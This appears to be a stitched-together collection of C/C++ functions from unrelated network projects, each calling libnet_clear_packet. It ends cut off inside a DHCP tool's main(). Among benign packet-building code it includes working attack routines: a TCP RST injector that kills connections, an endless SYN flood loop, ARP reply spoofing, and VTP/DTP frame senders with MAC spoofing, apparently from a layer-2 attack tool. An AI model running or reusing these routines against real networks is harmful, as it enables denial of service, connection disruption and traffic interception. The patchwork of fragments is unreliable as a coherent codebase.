void tcp_answer_ack(u_char *user, const struct pcap_pkthdr *pcap, const u_char *pkt) { struct libnet_ipv4_hdr *ip; struct libnet_tcp_hdr *tcp; u_int32_t seq, win, ack; int len; libnet_t *libnet; libnet = (libnet_t *)user; pkt += pcap_off; len = pcap->caplen - pcap_off; ip = (struct libnet_ipv4_hdr *)pkt; tcp = (struct libnet_tcp_hdr *)(pkt + (ip->ip_hl << 2)); seq = ntohl(tcp->th_ack); ack = ntohl(tcp->th_seq) + 1; win = ntohs(tcp->th_win); libnet_clear_packet(libnet); libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport), seq, ack, TH_ACK, win, 0, 0, LIBNET_TCP_H, NULL, 0, libnet, 0); libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H, 0, libnet_get_prand(LIBNET_PRu16), 0, 64, IPPROTO_TCP, 0, ip->ip_dst.s_addr, ip->ip_src.s_addr, NULL, 0, libnet, 0); if (libnet_write(libnet) < 0) warn("writing ACK failed"); }
/* * Inject 'normal' TCP packet */ int inject_tcp_packet(sess_key keyhash, u_int8_t flags, u_int16_t window) { // clear libnet_clear_packet(l); // build tcp libnet_build_tcp( sess_map[keyhash].tcp_sport, /* source TCP port */ sess_map[keyhash].tcp_dport, /* destination TCP port */ sess_map[keyhash].tcp_seq, /* sequence number */ sess_map[keyhash].tcp_ack, /* acknowledgement number */ flags, /* control flags */ window, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H, /* total length */ NULL, /* payload */ 0, /* payload length */ l, /* libnet context */ 0 /* build new header */ ); // prepare ip packet prep_ipv4(sess_map[keyhash].ip_src, sess_map[keyhash].ip_dst); // packet injection return libnet_write(l); }
static void tcp_kill_cb(u_char *user, const struct pcap_pkthdr *pcap, const u_char *pkt) { struct libnet_ipv4_hdr *ip; struct libnet_tcp_hdr *tcp; char ctext[64]; u_int32_t seq, win; int i, len; libnet_t *l; l = (libnet_t *)user; pkt += pcap_off; len = pcap->caplen - pcap_off; ip = (struct libnet_ipv4_hdr *)pkt; if (ip->ip_p != IPPROTO_TCP) return; tcp = (struct libnet_tcp_hdr *)(pkt + (ip->ip_hl << 2)); if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST)) return; seq = ntohl(tcp->th_ack); win = ntohs(tcp->th_win); snprintf(ctext, sizeof(ctext), "%s:%d > %s:%d:", libnet_addr2name4(ip->ip_src.s_addr, LIBNET_DONT_RESOLVE), ntohs(tcp->th_sport), libnet_addr2name4(ip->ip_dst.s_addr, LIBNET_DONT_RESOLVE), ntohs(tcp->th_dport)); for (i = 0; i < Opt_severity; i++) { seq += (i * win); libnet_clear_packet(l); libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport), seq, 0, TH_RST, 0, 0, 0, LIBNET_TCP_H, NULL, 0, l, 0); libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H, 0, libnet_get_prand(LIBNET_PRu16), 0, 64, IPPROTO_TCP, 0, ip->ip_dst.s_addr, ip->ip_src.s_addr, NULL, 0, l, 0); if (libnet_write(l) < 0) warn("write"); fprintf(stderr, "%s R %lu:%lu(0) win 0\n", ctext, (unsigned long) seq, (unsigned long) seq); } ++kill_counter; if (Opt_max_kill && kill_counter >= Opt_max_kill) { pcap_breakloop(pd); } }
/*- -- net = net:clear() Clear the current packet and all it's protocol blocks. Return self. */ static int lnet_clear(lua_State* L) { libnet_t* ud = checkudata(L); libnet_clear_packet(ud); /* TODO - these bugs are fixed in libnet head */ ud->n_pblocks = 0; ud->ptag_state = 0; return 1; }
void libnet_destroy(libnet_t *l) { if (l) { close(l->fd); free(l->device); libnet_clear_packet(l); free(l); } }
static int arp_send(libnet_t *l, int op, u_int8_t *sha, in_addr_t spa, u_int8_t *tha, in_addr_t tpa) { int retval; if (sha == NULL && (sha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) { return (-1); } if (spa == 0) { if ((spa = libnet_get_ipaddr4(l)) == -1) return (-1); } if (tha == NULL) tha = "\xff\xff\xff\xff\xff\xff"; libnet_autobuild_arp(op, sha, (u_int8_t *)&spa, tha, (u_int8_t *)&tpa, l); libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, l, 0); fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha)); if (op == ARPOP_REQUEST) { fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n", ether_ntoa((struct ether_addr *)tha), libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE), libnet_addr2name4(spa, LIBNET_DONT_RESOLVE)); } else { fprintf(stderr, "%s 0806 42: arp reply %s is-at ", ether_ntoa((struct ether_addr *)tha), libnet_addr2name4(spa, LIBNET_DONT_RESOLVE)); fprintf(stderr, "%s\n", ether_ntoa((struct ether_addr *)sha)); } retval = libnet_write(l); char *libnetError = libnet_geterror(l); if (strlen(libnetError) > 0) { fprintf(stderr, "%s", libnetError); exit(1); } libnet_clear_packet(l); return retval; }
int8_t dot1x_send_raw(struct interface_data *iface, u_int8_t *payload, u_int16_t len, u_int8_t *mac_source, u_int8_t *mac_dest) { libnet_ptag_t t; int32_t sent; t = libnet_build_ethernet( mac_dest, /* ethernet destination */ mac_source, /* ethernet source */ ETHERTYPE_EAP, /* protocol type */ payload, /* payload */ len, /* payload size */ iface->libnet_handler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",iface->libnet_handler); libnet_clear_packet(iface->libnet_handler); return -1; } sent = libnet_write(iface->libnet_handler); if (sent == -1) { thread_libnet_error("libnet_write error", iface->libnet_handler); libnet_clear_packet(iface->libnet_handler); return -1; } libnet_clear_packet(iface->libnet_handler); protocols[PROTO_DOT1X].packets_out++; iface->packets_out[PROTO_DOT1X]++; return 0; }
struct packet * sender6_send_icmp(struct sender6 *s, /* {{{ */ struct libnet_in6_addr dst, uint8_t ttl, uint8_t traffic_class, uint32_t flow_label, uint16_t icmpsum, uint16_t icmpid, uint16_t icmpseq, size_t padding) { padding += (padding % 2); size_t cnt = padding/sizeof(uint16_t) + 1; uint16_t *pload = malloc(cnt * sizeof(uint16_t)); if(!pload) logea(__FILE__, __LINE__, NULL); memset(pload, 0, cnt * sizeof(uint16_t)); pload[cnt-1] = sender6_compute_icmp_payload(icmpsum, icmpid, icmpseq); s->icmptag = libnet_build_icmpv6_echo(ICMP6_ECHO, 0, SENDER_AUTO_CHECKSUM, icmpid, icmpseq, (uint8_t *)pload, cnt * sizeof(uint16_t), s->ln, s->icmptag); free(pload); if(s->icmptag == -1) goto out; size_t sz = LIBNET_ICMPV6_ECHO_H + cnt*sizeof(uint16_t); s->iptag = libnet_build_ipv6(traffic_class, flow_label, sz, IPPROTO_ICMP6, ttl, s->ip, dst, NULL, 0, s->ln, s->iptag); if(s->iptag == -1) goto out; if(libnet_write(s->ln) < 0) goto out; struct packet *pkt = sender6_make_packet(s); return pkt; out: loge(LOG_FATAL, __FILE__, __LINE__); logd(LOG_DEBUG, "%s %d %d error: %s\n", __func__, ttl, icmpsum, libnet_geterror(s->ln)); libnet_clear_packet(s->ln); s->icmptag = 0; s->iptag = 0; return NULL; } /* }}} */
static gboolean afinet_dd_construct_ipv4_packet(AFInetDestDriver *self, LogMessage *msg, GString *msg_line) { libnet_ptag_t ip, udp; struct sockaddr_in *src, *dst; if (msg->saddr->sa.sa_family != AF_INET) return FALSE; src = (struct sockaddr_in *) &msg->saddr->sa; dst = (struct sockaddr_in *) &self->super.dest_addr->sa; libnet_clear_packet(self->lnet_ctx); udp = libnet_build_udp(ntohs(src->sin_port), ntohs(dst->sin_port), LIBNET_UDP_H + msg_line->len, 0, (guchar *) msg_line->str, msg_line->len, self->lnet_ctx, 0); if (udp == -1) return FALSE; ip = libnet_build_ipv4(LIBNET_IPV4_H + msg_line->len + LIBNET_UDP_H, IPTOS_LOWDELAY, /* IP tos */ 0, /* IP ID */ 0, /* frag stuff */ 64, /* TTL */ IPPROTO_UDP, /* transport protocol */ 0, src->sin_addr.s_addr, /* source IP */ dst->sin_addr.s_addr, /* destination IP */ NULL, /* payload (none) */ 0, /* payload length */ self->lnet_ctx, 0); if (ip == -1) return FALSE; return TRUE; }
/* * Inject TCP packet with payload */ int inject_tcp_packet(sess_key keyhash, char *payload, u_int8_t flags, u_int16_t window) { // clear libnet_clear_packet(l); // build tcp libnet_build_tcp( sess_map[keyhash].tcp_sport, /* source TCP port */ sess_map[keyhash].tcp_dport, /* destination TCP port */ sess_map[keyhash].tcp_seq, /* sequence number */ sess_map[keyhash].tcp_ack, /* acknowledgement number */ flags, /* control flags */ window, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + (payload[0]!='\0' ? strlen(payload) : 0), /* total length */ (payload[0]!='\0' ? (unsigned char *)payload : NULL), /* payload */ (payload[0]!='\0' ? strlen(payload) : 0), /* payload length */ l, /* libnet context */ 0 /* build new header */ ); // prepare ip packet if(payload[0]!='\0') { // fragmentation if(progopt.frag) { prep_ipv4(sess_map[keyhash].ip_src, sess_map[keyhash].ip_dst, strlen(payload), progopt.frag); } else { prep_ipv4(sess_map[keyhash].ip_src, sess_map[keyhash].ip_dst, strlen(payload)); } } else { prep_ipv4(sess_map[keyhash].ip_src, sess_map[keyhash].ip_dst); } // packet injection return libnet_write(l); }
void send_syns(libnet_t *libnet, u_int32_t source_addr, u_int32_t target_addr, unsigned int port, useconds_t delay) { libnet_seed_prand(libnet); for(;;) { libnet_clear_packet(libnet); libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), port, libnet_get_prand(LIBNET_PRu32), libnet_get_prand(LIBNET_PRu32), TH_SYN, 8192, 0, 0, LIBNET_TCP_H, NULL, 0, libnet, 0); libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H, 0, libnet_get_prand(LIBNET_PRu16), 0, 64, IPPROTO_TCP, 0, source_addr, target_addr, NULL, 0, libnet, 0); if (libnet_write(libnet) < 0) warn("writing SYN failed"); usleep(delay); } }
static int arp_send(libnet_t *l, int op, u_int8_t *sha, in_addr_t spa, u_int8_t *tha, in_addr_t tpa, u_int8_t *me) { int retval; if (!me) me = sha; libnet_autobuild_arp(op, sha, (u_int8_t *)&spa, tha, (u_int8_t *)&tpa, l); libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0); fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)me)); if (op == ARPOP_REQUEST) { fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n", ether_ntoa((struct ether_addr *)tha), libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE), libnet_addr2name4(spa, LIBNET_DONT_RESOLVE)); } else { fprintf(stderr, "%s 0806 42: arp reply %s is-at ", ether_ntoa((struct ether_addr *)tha), libnet_addr2name4(spa, LIBNET_DONT_RESOLVE)); fprintf(stderr, "%s\n", ether_ntoa((struct ether_addr *)sha)); } retval = libnet_write(l); if (retval) fprintf(stderr, "%s", libnet_geterror(l)); libnet_clear_packet(l); return retval; }
void PcapGen::send_tcp_packet( const TcpState& from, const TcpState& to, uint8_t control, const uint8_t* data, size_t size) { if (!lnet_) return; libnet_build_tcp(from.port(), // sp to.port(), // dp from.seq(), // seq control & TH_ACK ? from.ack() : 0, // ack control, // control from.win(), // win 0, // sum 0, // urg LIBNET_TCP_H + size, // len data, (uint32_t)size, lnet_.get(), 0); libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + size, // ip_len 0, // tos libnet_get_prand(LIBNET_PRu32), // id 0, // frag 64, // ttl IPPROTO_TCP, 0, // sum from.ip_addr(), // src to.ip_addr(), // dst 0, 0, lnet_.get(), 0); libnet_build_ethernet(from.mac_addr(), to.mac_addr(), ETHERTYPE_IP, 0, 0, lnet_.get(), 0); // see libnet_write() source code; calling internal function here uint32_t packet_size; uint8_t *packet_data; auto c = libnet_pblock_coalesce(lnet_.get(), &packet_data, &packet_size); if (c == -1) { libnet_clear_packet(lnet_.get()); return; } pcap_pkthdr packet_hdr; packet_hdr.ts.tv_sec = 0; packet_hdr.ts.tv_usec = 0; packet_hdr.len = packet_size; packet_hdr.caplen = packet_size; pcap_dump(reinterpret_cast<u_char *>(pcap_dump_.get()), &packet_hdr, packet_data); // see libnet_write() source code if (lnet_->aligner > 0) { packet_data -= lnet_->aligner; } free(packet_data); libnet_clear_packet(lnet_.get()); }
int8_t vtp_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; u_int32_t vtp_len=0, sent; struct vtp_data *vtp_data; struct vtp_summary *vtp_summ; struct vtp_subset *vtp_subset; struct vtp_request *vtp_request; struct vtp_join *vtp_join; u_int8_t *vtp_packet, *aux; u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 }; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; vtp_data = attacks->data; switch(vtp_data->code) { case VTP_SUMM_ADVERT: vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary); break; case VTP_SUBSET_ADVERT: vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset)+vtp_data->vlans_len; break; case VTP_REQUEST: vtp_len = sizeof(cisco_data)+38; break; case VTP_JOIN: vtp_len = sizeof(cisco_data)+40+126; break; default: vtp_len = sizeof(cisco_data)+30; break; } vtp_packet = calloc(1,vtp_len); if (vtp_packet == NULL) { thread_error("vtp_send calloc error",errno); return -1; } aux = vtp_packet; memcpy(vtp_packet,cisco_data,sizeof(cisco_data)); aux+=sizeof(cisco_data); switch(vtp_data->code) { case VTP_SUMM_ADVERT: vtp_summ = (struct vtp_summary *)aux; vtp_summ->version = vtp_data->version; vtp_summ->code = vtp_data->code; vtp_summ->followers = vtp_data->followers; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_summ->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_summ->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_summ->dom_len = vtp_data->dom_len; memcpy(vtp_summ->domain,vtp_data->domain,vtp_data->dom_len); } vtp_summ->revision = htonl(vtp_data->revision); vtp_summ->updater = htonl(vtp_data->updater); memcpy(vtp_summ->timestamp,vtp_data->timestamp,VTP_TIMESTAMP_SIZE); memcpy(vtp_summ->md5,vtp_data->md5,16); break; case VTP_SUBSET_ADVERT: vtp_subset = (struct vtp_subset *)aux; vtp_subset->version = vtp_data->version; vtp_subset->code = vtp_data->code; vtp_subset->seq = vtp_data->seq; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_subset->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_subset->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_subset->dom_len = vtp_data->dom_len; memcpy(vtp_subset->domain,vtp_data->domain,vtp_data->dom_len); } vtp_subset->revision = htonl(vtp_data->revision); if (vtp_data->vlans_len) memcpy((vtp_subset+1),vtp_data->vlan_info,vtp_data->vlans_len); break; case VTP_REQUEST: vtp_request = (struct vtp_request *)aux; vtp_request->version = vtp_data->version; vtp_request->code = vtp_data->code; vtp_request->reserved = 0; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_request->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_request->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_request->dom_len = vtp_data->dom_len; memcpy(vtp_request->domain,vtp_data->domain,vtp_data->dom_len); } vtp_request->start_val = htons(vtp_data->start_val); break; case VTP_JOIN: vtp_join = (struct vtp_join *)aux; vtp_join->version = vtp_data->version; vtp_join->code = vtp_data->code; vtp_join->maybe_reserved = 0; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_join->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_join->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_join->dom_len = vtp_data->dom_len; memcpy(vtp_join->domain,vtp_data->domain,vtp_data->dom_len); } vtp_join->vlan = htonl(0x000003ef); vtp_join->unknown[0] = 0x40; break; default: aux[0]=vtp_data->version; aux[1]=vtp_data->code; break; } for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_2( 0xaa, /* DSAP */ 0xaa, /* SSAP */ 0x03, /* control */ vtp_packet, /* payload */ vtp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } t = libnet_build_802_3( vtp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? vtp_data->mac_source : iface_data->etheraddr, /* ethernet source */ LIBNET_802_2_H + vtp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_VTP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_VTP]++; } free(vtp_packet); return 0; }
// Handles decrypted data from libdssl static void data_callback_proc(NM_PacketDir dir, void* user_data, u_char* pkt_payload, uint32_t pkt_size, DSSL_Pkt* last_packet) { libnet_ptag_t tcp, ip, ethernet; register libnet_t *libnet_c; TcpSession *sess = (TcpSession*) user_data; uint32_t bytes_written, bytes_to_write; u_char* payload_ptr; FakeSessionState *mySession = (FakeSessionState*) sess->user_data; // Initialise byte counter and payload pointer bytes_written = 0; payload_ptr = pkt_payload; tcp = ip = ethernet = 0; if (config.loglevel > 0 && !config.daemon) { switch(dir) { case ePacketDirFromClient: fprintf(stderr, "\nC->S: %d bytes\n", pkt_size ); break; case ePacketDirFromServer: fprintf(stderr, "S->C: %d bytes\n", pkt_size ); break; default: fprintf(stderr, "\nUnknown packet direction!"); break; } } // Get libnet context libnet_c = mySession->ln; // Send handshake if necessary if( mySession->handshakeSent == 0 ) { sendTCPHandshake( libnet_c, sess, mySession ); mySession->handshakeSent = 1; } // Split pkt_payload into a 1460 byte MSS while( bytes_written < pkt_size ) { // Work out how many bytes to write on this pass bytes_to_write = ( ( pkt_size - bytes_written ) < 1460 ) ? ( pkt_size - bytes_written ) : 1460; tcp = libnet_build_tcp( ( dir == ePacketDirFromClient ) ? sess->clientStream.port : ( config.cap[capindex]->dsslport ? config.cap[capindex]->dsslport: sess->serverStream.port ), /* source port */ ( dir == ePacketDirFromClient ) ? ( config.cap[capindex]->dsslport ? config.cap[capindex]->dsslport: sess->serverStream.port ) : sess->clientStream.port, /* destination port */ ( dir == ePacketDirFromClient ) ? mySession->clientSeq : mySession->serverSeq, /* sequence number */ ( dir == ePacketDirFromClient ) ? mySession->serverSeq : mySession->clientSeq, /* acknowledgement num */ TH_ACK, /* control flags */ 32767, /* window size */ 0, /* checksum */ 10, /* urgent pointer */ LIBNET_TCP_H + bytes_to_write, /* TCP packet size */ payload_ptr, /* payload */ bytes_to_write, /* payload size */ libnet_c, /* libnet handle */ 0); /* libnet id */ // Increment count of bytes written bytes_written += bytes_to_write; if( dir == ePacketDirFromClient ) mySession->clientSeq += bytes_to_write; else mySession->serverSeq += bytes_to_write; // Increment payload_ptr payload_ptr += bytes_to_write; if (tcp == -1) { if (config.daemon) syslog(LOG_ERR, "Can't build TCP header: %s", libnet_geterror(libnet_c)); else fprintf(stderr, "Can't build TCP header: %s.\n", libnet_geterror(libnet_c)); } else { ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + bytes_to_write, /* length */ 0, /* TOS */ 54609, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ ( dir == ePacketDirFromClient ) ? sess->clientStream.ip_addr : sess->serverStream.ip_addr, /* source IP */ ( dir == ePacketDirFromClient ) ? sess->serverStream.ip_addr : sess->clientStream.ip_addr, /* destination IP */ NULL, /* payload */ 0, /* payload size */ libnet_c, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { if (config.daemon) syslog(LOG_ERR, "Can't build IP header: %s", libnet_geterror(libnet_c)); else fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(libnet_c)); } else { ethernet = libnet_build_ethernet( ( dir == ePacketDirFromClient ) ? config.cap[capindex]->dst_interface_mac : config.cap[capindex]->src_interface_mac, /* ethernet destination */ ( dir == ePacketDirFromClient ) ? config.cap[capindex]->src_interface_mac : config.cap[capindex]->dst_interface_mac, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ libnet_c, /* libnet handle */ 0); /* libnet id */ if (ethernet == -1) { if (config.daemon) syslog(LOG_ERR, "Can't build ethernet header: %s", libnet_geterror(libnet_c)); else fprintf(stderr, "Can't build ethernet header: %s.\n", libnet_geterror(libnet_c)); } else { if (libnet_write(libnet_c) == -1) { if (config.daemon) syslog(LOG_ERR, "write error: %s", libnet_geterror(libnet_c)); else fprintf(stderr, "Write error: %s.\n", libnet_geterror(libnet_c)); } } } } libnet_clear_packet(libnet_c); } }
int8_t dtp_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; u_int32_t dtp_len, sent; struct dtp_data *dtp_data; u_int8_t *dtp_packet, *aux; u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x04 }; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dtp_data = attacks->data; dtp_len = sizeof(cisco_data)+dtp_data->dom_len+26; dtp_packet = calloc(1,dtp_len); if (dtp_packet == NULL) { thread_error("dtp_send calloc error",errno); return -1; } aux = dtp_packet; memcpy(dtp_packet,cisco_data,sizeof(cisco_data)); aux+=sizeof(cisco_data); *aux = dtp_data->version; aux++; aux++; *aux = DTP_TYPE_DOMAIN; aux++; aux++; *aux = dtp_data->dom_len+5; aux++; memcpy(aux,dtp_data->domain,dtp_data->dom_len); aux+=dtp_data->dom_len; aux++; aux++; *aux = DTP_TYPE_STATUS; aux++; aux++; *aux = 0x05; aux++; *aux = dtp_data->status; aux++; aux++; *aux = DTP_TYPE_TYPE; aux++; aux++; *aux = 0x05; aux++; *aux = dtp_data->type; aux++; aux++; *aux = DTP_TYPE_NEIGHBOR; aux++; aux++; *aux = 0x0a; aux++; memcpy(aux,dtp_data->neighbor,ETHER_ADDR_LEN); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_2( 0xaa, /* DSAP */ 0xaa, /* SSAP */ 0x03, /* control */ dtp_packet, /* payload */ dtp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } t = libnet_build_802_3( dtp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? dtp_data->mac_source : iface_data->etheraddr, /* ethernet source */ LIBNET_802_2_H + dtp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DTP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DTP]++; } free(dtp_packet); return 0; }
int main(int argc, char **argv) { int ch, dhcp_payload_len; unsigned char *dhcp_payload; libnet_ptag_t ptag_dhcpv4, ptag_udp, ptag_ipv4, ptag_ethernet; char *arg_secs, *arg_cip, *arg_chaddr, *arg_sip, *arg_ifname; char *arg_operation, *arg_timeout, *arg_xid, *arg_flags, *arg_yip; char *arg_gip, *arg_sname, *arg_fname, *arg_ether_dst, *stmp; char *arg_ipv4_src, *arg_ipv4_dst, *arg_ipv4_tos, *arg_ipv4_ttl; char *arg_reply_count; if (argc < 2) usage("too few arguments"); srandom(time(NULL)); arg_secs = arg_cip = arg_chaddr = arg_sip = arg_ifname = NULL; arg_operation = arg_timeout = arg_xid = arg_flags = arg_yip = NULL; arg_gip = arg_sname = arg_fname = arg_ether_dst = arg_reply_count = NULL; arg_ipv4_src = arg_ipv4_dst = arg_ipv4_tos = arg_ipv4_ttl = NULL; verbosity = 1; while ((ch = getopt(argc, argv, "s:c:h:i:o:t:x:f:y:g:S:A:B:O:X:v:F:T:L:Q:E:w:n:m")) != -1) { switch (ch) { case 's': arg_secs = optarg; break; case 'c': arg_cip = optarg; break; case 'h': arg_chaddr = optarg; break; case 'S': arg_sip = optarg; break; case 'i': arg_ifname = optarg; break; case 'o': arg_operation = optarg; break; case 't': arg_timeout = optarg; break; case 'x': arg_xid = optarg; break; case 'f': arg_flags = optarg; break; case 'y': arg_yip = optarg; break; case 'B': arg_fname = optarg; break; case 'A': arg_sname = optarg; break; case 'g': arg_gip = optarg; break; case 'F': arg_ipv4_src = optarg; break; case 'T': arg_ipv4_dst = optarg; break; case 'L': arg_ipv4_ttl = optarg; break; case 'Q': arg_ipv4_tos = optarg; break; case 'n': arg_reply_count = optarg; break; case 'E': arg_ether_dst = optarg; break; case 'v': verbosity = atoi(optarg); break; case 'm': no_double_options = 0; break; case 'O': add_option(optarg); break; case 'X': add_hexoption(optarg); break; case 'w': option_lookup(optarg); break; case '?': default: usage("unknown argument"); } } argc -= optind; argv += optind; /* Set some basic defaults */ set_defaults(); /* Make sure network interface was specified with -i option */ if (arg_ifname == NULL) { usage("Error: network interface (-i option) not specified."); } strncpy(ifname, arg_ifname, 99); /* Try to have pcap and libnet use the interface */ pcp = pcap_open_live(ifname, SNAPLEN, 1, 1, pcap_errbuf); if (pcp == NULL) { printf("pcap_open_live(%s) failed! Did you give the right interface name " "and are you root?\n", ifname); printf("pcap said: %s\n", pcap_errbuf); exit(1); } lnp = libnet_init(LIBNET_LINK, ifname, libnet_errbuf); if (lnp == NULL) { printf("libnet_init(%s) failed!\n", ifname); printf("libnet said: %s\n", libnet_errbuf); exit(1); } /* Set chaddr MAC address */ if (arg_chaddr != NULL) { int len = ETHER_ADDR_LEN; /*chaddr = libnet_hex_aton((int8_t *)arg_chaddr, &len);*/ chaddr = libnet_hex_aton(arg_chaddr, &len); if (chaddr == NULL) { if (verbosity > 0) printf("Invalid chaddr MAC address specified (%s)\n", arg_chaddr); exit(1); } } else { /* Try to retrieve MAC address using libnet */ chaddr = (u_int8_t *)libnet_get_hwaddr(lnp); if (chaddr == NULL) { if (verbosity > 1) { printf("Failed to retrieve MAC address for interface %s, using 0:0:0:0:0:0\n" "Libnet said: %s\n", ifname, libnet_errbuf); } memset(chaddr, 0, ETHER_ADDR_LEN); } } /* Set cip address */ if (arg_cip != NULL) { cip = inet_addr(arg_cip); if (cip == INADDR_NONE) { if (verbosity > 0) printf("Invalid cip address specified (%s)\n", arg_cip); exit(1); } cip = ntohl(cip); } else { /* Try to retrieve IP address using libnet */ cip = libnet_get_ipaddr4(lnp); if ((int)cip == -1) { if (verbosity > 1) { printf("Failed to retrieve IPv4 address for interface %s, using cip 0.0.0.0\n" "Libnet said: %s\n", ifname, libnet_errbuf); } cip = inet_addr("0.0.0.0"); } else cip = htonl(cip); } /**************************/ /* Set various parameters */ /**************************/ if (arg_operation != NULL) { if (option_added(LIBNET_DHCP_MESSAGETYPE) && no_double_options) { if (verbosity > 0) { printf("Error: DHCP messagetype specified twice (don't use -o option if\n" " you also intend to use -O to set option 53 (messagetype))\n"); } exit(1); } if (strcasecmp(arg_operation, "discover") == 0) { operation = LIBNET_DHCP_MSGDISCOVER; if (arg_timeout == NULL) timeout = 5; } else if (strcasecmp(arg_operation, "request") == 0) { operation = LIBNET_DHCP_MSGREQUEST; if (arg_timeout == NULL) timeout = 5; } else if (strcasecmp(arg_operation, "inform") == 0) { operation = LIBNET_DHCP_MSGINFORM; if (timeout == 0) timeout = 5; } else if (strcasecmp(arg_operation, "release") == 0) operation = LIBNET_DHCP_MSGRELEASE; else if (strcasecmp(arg_operation, "decline") == 0) operation = LIBNET_DHCP_MSGDECLINE; else { if (verbosity > 0) usage("Invalid DHCP operation type"); else exit(1); } /* Add MESSAGETYPE DHCP option */ num_options++; options = (struct dhcp_option *) realloc(options, num_options * sizeof(struct dhcp_option)); options[num_options-1].opnum = LIBNET_DHCP_MESSAGETYPE; options[num_options-1].oplen = 1; options[num_options-1].opdata[0] = operation; } else { /* no "-o operation" argument given */ if (option_added(LIBNET_DHCP_MESSAGETYPE) == 0) { /* Add MESSAGETYPE DHCP option */ num_options++; options = (struct dhcp_option *) realloc(options, num_options * sizeof(struct dhcp_option)); options[num_options-1].opnum = LIBNET_DHCP_MESSAGETYPE; options[num_options-1].oplen = 1; options[num_options-1].opdata[0] = operation; } } if (arg_secs != NULL) { unsigned long ultmp; ultmp = strtoul(arg_secs, &stmp, 0); if (*stmp != '\0' || ultmp > 65535) { if (verbosity > 0) printf("Error: secs must be 0-65535 (was: %s)\n", arg_secs); exit(1); } secs = (u_int16_t)ultmp; } if (arg_timeout != NULL) { timeout = strtoul(arg_timeout, &stmp, 0); if (*stmp != '\0') { if (verbosity > 0) printf("Error: timeout value must be 0 or a positive integer (was: %s)\n", arg_timeout); exit(1); } } if (arg_reply_count != NULL) { reply_count = strtoul(arg_reply_count, &stmp, 0); if (*stmp != '\0') { if (verbosity > 